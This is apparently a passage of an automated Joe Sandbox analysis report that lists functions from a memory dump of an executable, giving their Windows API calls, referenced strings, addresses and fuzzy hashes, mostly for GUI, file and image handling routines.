GetSysColor.USER32 ref: 00007FF7C0EFEED0
SetTextColor.GDI32 ref: 00007FF7C0EFEEDB
DrawTextW.USER32 ref: 00007FF7C0EFEEF9
SelectObject.GDI32 ref: 00007FF7C0EFEF17
DeleteObject.GDI32 ref: 00007FF7C0EFEF25
SelectObject.GDI32 ref: 00007FF7C0EFEF33
DeleteObject.GDI32 ref: 00007FF7C0EFEF3E
SetTextColor.GDI32 ref: 00007FF7C0EFEF4A
SetBkColor.GDI32 ref: 00007FF7C0EFEF5A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 948d1c02ea9e6d2372b4c97d423fc7df0122985af9fee021215e5cafd4e8bea9
Instruction ID: 8e68e26474755fb93dc115fd489c185f4a759a6fcce7362b1074a0e4de35517b
Opcode Fuzzy Hash: 948d1c02ea9e6d2372b4c97d423fc7df0122985af9fee021215e5cafd4e8bea9
Instruction Fuzzy Hash: B6717236A0CA4186E725AF25E84467AB361FB89BB4F804334DD5E87B94DF7CF4848790

Function 00007FF7C0EF6EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF7C0EF6FE4
GetDesktopWindow.USER32 ref: 00007FF7C0EF6FF4
GetWindowRect.USER32 ref: 00007FF7C0EF7002
GetWindowLongW.USER32 ref: 00007FF7C0EF705E
DestroyWindow.USER32 ref: 00007FF7C0EF707C
CreateWindowExW.USER32 ref: 00007FF7C0EF70D3
SendMessageW.USER32 ref: 00007FF7C0EF70EF
SendMessageW.USER32 ref: 00007FF7C0EF7108
SendMessageW.USER32 ref: 00007FF7C0EF7123
SendMessageW.USER32 ref: 00007FF7C0EF7140
IsWindowVisible.USER32 ref: 00007FF7C0EF7192
SendMessageW.USER32 ref: 00007FF7C0EF71B6
SendMessageW.USER32 ref: 00007FF7C0EF71D1
GetWindowRect.USER32 ref: 00007FF7C0EF71EC
MonitorFromPoint.USER32 ref: 00007FF7C0EF7210
GetMonitorInfoW.USER32 ref: 00007FF7C0EF7224
CopyRect.USER32 ref: 00007FF7C0EF7237
SendMessageW.USER32 ref: 00007FF7C0EF729C

Strings

tooltips_class32, xrefs: 00007FF7C0EF7095

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: tooltips_class32
API String ID: 698492251-1918224756
Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction ID: f6f73757f97da96859e5d984012ec6eec646e66628527aca5b4442c5ad4487d3
Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction Fuzzy Hash: 3CC12072B087418AE714EF65E4442AEB7A0FB88BA8F904035EA5D87B64DF78F485C750

Function 00007FF7C0EC2C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00007FF7C0EC2C3E
SendMessageW.USER32 ref: 00007FF7C0EC2C56
SetWindowTextW.USER32 ref: 00007FF7C0EC2C6F
GetDlgItem.USER32 ref: 00007FF7C0EC2C87
SetWindowTextW.USER32 ref: 00007FF7C0EC2C94
GetDlgItem.USER32 ref: 00007FF7C0EC2CAE
SetWindowTextW.USER32 ref: 00007FF7C0EC2CBB
SendDlgItemMessageW.USER32 ref: 00007FF7C0EC2CE0
SendDlgItemMessageW.USER32 ref: 00007FF7C0EC2D03
GetWindowRect.USER32 ref: 00007FF7C0EC2D14
SetWindowTextW.USER32 ref: 00007FF7C0EC2DB5
GetDesktopWindow.USER32 ref: 00007FF7C0EC2DBB
GetWindowRect.USER32 ref: 00007FF7C0EC2DC8
MoveWindow.USER32 ref: 00007FF7C0EC2E20
GetClientRect.USER32 ref: 00007FF7C0EC2E31
PostMessageW.USER32 ref: 00007FF7C0EC2E60
SetTimer.USER32 ref: 00007FF7C0EC2E91

Strings

@, xrefs: 00007FF7C0EC2DD7

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @
API String ID: 3869813825-2766056989
Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction ID: 87ce4185a6d6c635fc7c9576086263cf63f771a7c0a6ed87c5301c883204cff7
Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction Fuzzy Hash: 6F81AC32A08A4286E701EF75D85466D77B0FB44FA8F808135CE0EA7758DF38E985C7A0

Function 00007FF7C0E52620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52750: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52766

GetSysColor.USER32 ref: 00007FF7C0E52663
GetSysColor.USER32 ref: 00007FF7C0E526F8
SetTextColor.GDI32 ref: 00007FF7C0E52703
SetBkMode.GDI32 ref: 00007FF7C0E52718
GetStockObject.GDI32 ref: 00007FF7C0E52723
GetSysColor.USER32 ref: 00007FF7C0E9A84E
GetWindowLongW.USER32 ref: 00007FF7C0E9A863
SetBkColor.GDI32 ref: 00007FF7C0E9A940

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Color$LongWindow$ModeObjectStockText
String ID:
API String ID: 554392163-0
Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction ID: 7c647caf012ee31b9886b0f109ce3ae00b8e5af7ad7ee91d6e534ac967bb1ab6
Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction Fuzzy Hash: 0681D831E4C95642EA31BF25944827AA391BF85B74FD50635CA5D833E4DF3CB88287D0

Function 00007FF7C0ECC81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION ref: 00007FF7C0ECC841
GetFileVersionInfoW.VERSION ref: 00007FF7C0ECC869
wcscpy.LIBCMT ref: 00007FF7C0ECC8A6
wcscat.LIBCMT ref: 00007FF7C0ECC8C8
wcsstr.LIBVCRUNTIME ref: 00007FF7C0ECC8D3
VerQueryValueW.VERSION ref: 00007FF7C0ECC8F4
wcscat.LIBCMT ref: 00007FF7C0ECC934
wcscat.LIBCMT ref: 00007FF7C0ECC93F
wcscat.LIBCMT ref: 00007FF7C0ECC94A
VerQueryValueW.VERSION ref: 00007FF7C0ECC9A0

Strings

\VarFileInfo\Translation, xrefs: 00007FF7C0ECC8ED
DefaultLangCodepage, xrefs: 00007FF7C0ECC94F
04090000, xrefs: 00007FF7C0ECC92A
StringFileInfo\, xrefs: 00007FF7C0ECC8BE
%u.%u.%u.%u, xrefs: 00007FF7C0ECC9BE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 222038402-1459072770
Opcode ID: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
Instruction ID: 2c307c3fe056c13452f5ae8926ebd77fd19d67b60a6879611f5bbf72122e7891
Opcode Fuzzy Hash: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
Instruction Fuzzy Hash: FF516A6164C64286EE14FF2A95041B9A391AF85FE0FC04531EE0E8BB96DF3DF54183A4

Function 00007FF7C0EF6608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF7C0EF66C7
SendMessageW.USER32 ref: 00007FF7C0EF6749

Strings

EXPAND, xrefs: 00007FF7C0EF68B4
GETTEXT, xrefs: 00007FF7C0EF69F7
EXISTS, xrefs: 00007FF7C0EF6833
UNCHECK, xrefs: 00007FF7C0EF6B76
GETTOTALCOUNT, xrefs: 00007FF7C0EF66F9
SELECT, xrefs: 00007FF7C0EF6B0B
GETSELECTED, xrefs: 00007FF7C0EF698F
COLLAPSE, xrefs: 00007FF7C0EF67D1
ISCHECKED, xrefs: 00007FF7C0EF6A78
GETITEMCOUNT, xrefs: 00007FF7C0EF6922
CHECK, xrefs: 00007FF7C0EF676F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction ID: 72926d057f16b8fed354cf0c75a8e16cf9ccbe2c14dbc2ebf4f316a96f45abe2
Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction Fuzzy Hash: 7D12B216B98A5387EE64BF6984011BDE7A4AF94BA4BC84531DE4DC7391EF3CF44183A0

Function 00007FF7C0F01254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

DragQueryPoint.SHELL32 ref: 00007FF7C0F01298

Part of subcall function 00007FF7C0EFF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF7C0F00BC9), ref: 00007FF7C0EFF054
Part of subcall function 00007FF7C0EFF014: GetWindowRect.USER32(?,?,?,?,00007FF7C0F00BC9), ref: 00007FF7C0EFF0E3
Part of subcall function 00007FF7C0EFF014: PtInRect.USER32 ref: 00007FF7C0EFF0F3

SendMessageW.USER32 ref: 00007FF7C0F0130F
DragQueryFileW.SHELL32 ref: 00007FF7C0F01321
DragQueryFileW.SHELL32 ref: 00007FF7C0F01347
wcscat.LIBCMT ref: 00007FF7C0F0137B
SendMessageW.USER32 ref: 00007FF7C0F01392
SendMessageW.USER32 ref: 00007FF7C0F013AC
SendMessageW.USER32 ref: 00007FF7C0F013C4
SendMessageW.USER32 ref: 00007FF7C0F013E9
DragFinish.SHELL32 ref: 00007FF7C0F013F2
DefDlgProcW.USER32 ref: 00007FF7C0F01520

Strings

@GUI_DRAGID, xrefs: 00007FF7C0F0146B
@GUI_DRAGFILE, xrefs: 00007FF7C0F014B4
@GUI_DROPID, xrefs: 00007FF7C0F01415

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction ID: cb9d9e0d780108cd2ba3dad53382319be3036ffcf5ced43ec3fb7424cb144eaf
Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction Fuzzy Hash: 0B71243161CA8295E710EF55E4547E9A720FB84BA8FC01132EE4E87B99DF7CE185C790

Function 00007FF7C0ED3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF7C0ED4077
GetDriveTypeW.KERNEL32 ref: 00007FF7C0ED4162
mciSendStringW.WINMM ref: 00007FF7C0ED41AA
mciSendStringW.WINMM ref: 00007FF7C0ED41F1
mciSendStringW.WINMM ref: 00007FF7C0ED4229

Strings

open , xrefs: 00007FF7C0ED4171
closed, xrefs: 00007FF7C0ED408C
wait, xrefs: 00007FF7C0ED41D5
close cd wait, xrefs: 00007FF7C0ED420D
open, xrefs: 00007FF7C0ED40DC
close, xrefs: 00007FF7C0ED407D
type cdaudio alias cd wait, xrefs: 00007FF7C0ED418E
set cd door , xrefs: 00007FF7C0ED41B8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction ID: a1e524d5edd5d05c2f8d5ac0bd2b97a41faaa0d107b524a3db5225155fb4bd14
Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction Fuzzy Hash: 18819E22B58B1285EB10BF65D8512BCA3B1FB64BA8B984431DA4DC7794DF3CF545C3A0

Function 00007FF7C0F00118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF7C0F00201
LoadLibraryExW.KERNEL32 ref: 00007FF7C0F0026C
LoadImageW.USER32 ref: 00007FF7C0F002B0
LoadImageW.USER32 ref: 00007FF7C0F002EB
LoadImageW.USER32 ref: 00007FF7C0F0032F
FreeLibrary.KERNEL32 ref: 00007FF7C0F0033C
ExtractIconExW.SHELL32 ref: 00007FF7C0F0034E
DestroyIcon.USER32 ref: 00007FF7C0F00360
SendMessageW.USER32 ref: 00007FF7C0F0037F
SendMessageW.USER32 ref: 00007FF7C0F00397

Part of subcall function 00007FF7C0E78E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E78E4F

Part of subcall function 00007FF7C0E78E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E78EED

Strings

.icl, xrefs: 00007FF7C0F00171
.exe, xrefs: 00007FF7C0F00193
.dll, xrefs: 00007FF7C0F001B5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: b7fb92b4f4f984d81d46aa90a62360b431ec30451a61b1d2eb47062bafedd943
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 2271C532A0CA5282EB65AF2594446BAB3A0FB54FB8F840635ED1D87794DF3CF484C390

Function 00007FF7C0F003D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7C0F00422
GetFileSize.KERNEL32 ref: 00007FF7C0F00436
GlobalAlloc.KERNEL32 ref: 00007FF7C0F00445
CloseHandle.KERNEL32 ref: 00007FF7C0F00456
GlobalLock.KERNEL32 ref: 00007FF7C0F00466
ReadFile.KERNEL32 ref: 00007FF7C0F0047E
GlobalUnlock.KERNEL32 ref: 00007FF7C0F00489
CloseHandle.KERNEL32 ref: 00007FF7C0F00492
CreateStreamOnHGlobal.OLE32 ref: 00007FF7C0F004A8
OleLoadPicture.OLEAUT32 ref: 00007FF7C0F004CB
GlobalFree.KERNEL32 ref: 00007FF7C0F004DE
GetObjectW.GDI32 ref: 00007FF7C0F00508
CopyImage.USER32 ref: 00007FF7C0F00541
DeleteObject.GDI32 ref: 00007FF7C0F0056E
SendMessageW.USER32 ref: 00007FF7C0F0058D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 0a04e1982a8d581305c39bac55c44acac97f98d490f1eeef2b6d0f4e9b6ba05c
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: 25517A36B18B1186EB14DF62E848A6973A0FB48FA8F944131DE1E83B44DF3DE485C750

Function 00007FF7C0ED0D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0ED102D
VariantClear.OLEAUT32 ref: 00007FF7C0ED111F

Strings

Default, xrefs: 00007FF7C0ED0E89
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF7C0ED0F10

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 2610073882-3931177956
Opcode ID: 8b012b72d9182424534d163227db5c9d184644b7672044e55a9e6dfc6ab7007a
Instruction ID: f47dfb51f4d0885ec074ebb1d247363798f2c59bf74340853c764eee6ca7d810
Opcode Fuzzy Hash: 8b012b72d9182424534d163227db5c9d184644b7672044e55a9e6dfc6ab7007a
Instruction Fuzzy Hash: E7027C72A8974295FA59BF65C15427DA3A1FB04FA0F8D4535CA0E87B94CF2DF890C3A0

Function 00007FF7C0ED246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF7C0ED2590
wcscat.LIBCMT ref: 00007FF7C0ED25A3
wcscat.LIBCMT ref: 00007FF7C0ED25E1
wcscat.LIBCMT ref: 00007FF7C0ED25F4

Part of subcall function 00007FF7C0E567D8: _fread_nolock.LIBCMT ref: 00007FF7C0E56805

GetTempPathW.KERNEL32 ref: 00007FF7C0ED271B
GetTempFileNameW.KERNEL32 ref: 00007FF7C0ED2737

Part of subcall function 00007FF7C0E848E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84835

DeleteFileW.KERNEL32 ref: 00007FF7C0ED2854
DeleteFileW.KERNEL32 ref: 00007FF7C0ED28BB

Strings

aut, xrefs: 00007FF7C0ED2729

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
Instruction ID: 7e568354315f44da0b0fe3c67f5fc37dd4dd8ab8b399d085fe4697709f377137
Opcode Fuzzy Hash: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
Instruction Fuzzy Hash: B0C1A736658AC686EB30FF25E8501E9A360FB94798F804036EB4D8BB59DF7CE245C750

Function 00007FF7C0EFE40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7C0EFE510
CreateWindowExW.USER32 ref: 00007FF7C0EFE5BC
SendMessageW.USER32 ref: 00007FF7C0EFE5E3
SendMessageW.USER32 ref: 00007FF7C0EFE5F8
DestroyWindow.USER32 ref: 00007FF7C0EFE61C
CreateWindowExW.USER32 ref: 00007FF7C0EFE675
SendMessageW.USER32 ref: 00007FF7C0EFE692
GetDesktopWindow.USER32 ref: 00007FF7C0EFE6AE
GetWindowRect.USER32 ref: 00007FF7C0EFE6BB
SendMessageW.USER32 ref: 00007FF7C0EFE6D0
SendMessageW.USER32 ref: 00007FF7C0EFE6EE

Strings

tooltips_class32, xrefs: 00007FF7C0EFE570, 00007FF7C0EFE63F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
